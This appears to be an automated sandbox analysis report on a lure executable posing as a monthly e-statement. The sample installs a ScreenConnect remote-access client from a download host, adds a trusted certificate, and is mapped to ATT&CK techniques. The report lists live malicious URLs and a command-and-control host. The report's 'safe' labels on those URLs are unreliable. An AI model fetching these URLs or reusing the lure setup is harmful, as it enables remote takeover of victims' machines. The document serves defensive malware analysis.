Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe

Code function: 10_2_00007FFAAC463642 CreateNamedPipeW,

10_2_00007FFAAC463642

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_00F21806 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00F21806

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe

Code function: 9_2_014E4C64 RtlGetVersion,

9_2_014E4C64

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

AV process strings found (often used to terminate AV products)

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Adds / modifies Windows certificates

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Remote Access Functionality

Yara detected ScreenConnect Tool

Source: Yara match	File source: 7.0.ScreenConnect.WindowsClient.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1569444555.000000000315F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dfsvc.exe PID: 2628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Search Order Hijacking	1 DLL Search Order Hijacking	1 Obfuscated Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Windows Service	2 Windows Service	1 Install Root Certificate	Security Account Manager	35 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	13 Process Injection	1 Timestomp	NTDS	51 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Bootkit	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Search Order Hijacking	Cached Domain Credentials	51 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	51 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	13 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Users	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Bootkit	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Client.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsBackstageShell.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsFileManager.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.dllPx	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileMa	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application?e=Support&	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe&	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationt	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config.	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exx	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree0	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application.6ZZfsA	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationx	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree	0%	Avira URL Cloud	safe
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
voicemail-lakeleft.top	194.59.30.201	true	false	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
popwee2.zapto.org	194.59.30.201	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
time.windows.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://voicemail-lakeleft.top/Bin/ScreenConnect.Core.dll	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Windows.dll	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe.config	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.dll	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.manifest	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe.config	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config	false	high
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfY	svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdC	svchost.exe, 0000000E.00000003.1718011909.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application?e=Support&	ScreenConnect.WindowsClient.exe, 00000007.00000002.1570346922.000000001BAF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tbA	svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueure	svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapt	S0AMH0XA.log.1.dr	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA	svchost.exe, 0000000E.00000002.3157558612.000002094ED10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837600169.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857195324.000002094ED08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836923942.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874189629.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836908409.000002094ED07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914239278.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1890698251.000002094ED09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945681014.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1890597917.000002094ED07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1912708788.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1929278264.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857088725.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874058215.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837663842.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837784115.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945445109.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914301366.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdTz	svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsTz	svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientSer	dfsvc.exe, 00000001.00000002.3157733053.000001E8B41CB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4325000.00000004.00000800.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.C	dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4461000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA	svchost.exe, 0000000E.00000003.1856885795.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds	svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874035484.000002094ED7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/devicechangecredential.srf	svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	dfsvc.exe, 00000001.00000002.3157733053.000001E8B3C9A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.3158058619.00000000017D6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200	svchost.exe, 0000000E.00000003.1929317541.000002094ED7C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914328789.000002094ED78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tb_	svchost.exe, 0000000E.00000002.3156215845.000002094E4B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3158220210.000002094F299000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.live	svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.dllPx	dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue0	svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileMa	dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/msangcwam	svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3.or	dfsvc.exe, 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B414C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B40E6000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B40BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000004.00000002.2920493879.0000019A7EE00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3156571081.000002094E4CF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdx	svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://passport.net/tb	svchost.exe, 0000000E.00000002.3158220210.000002094F281000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157944399.000002094F200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155699966.000002094E483000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3156686908.000002094E4EB000.00000004.00000020.00020000.00000000.sdmp	false		high
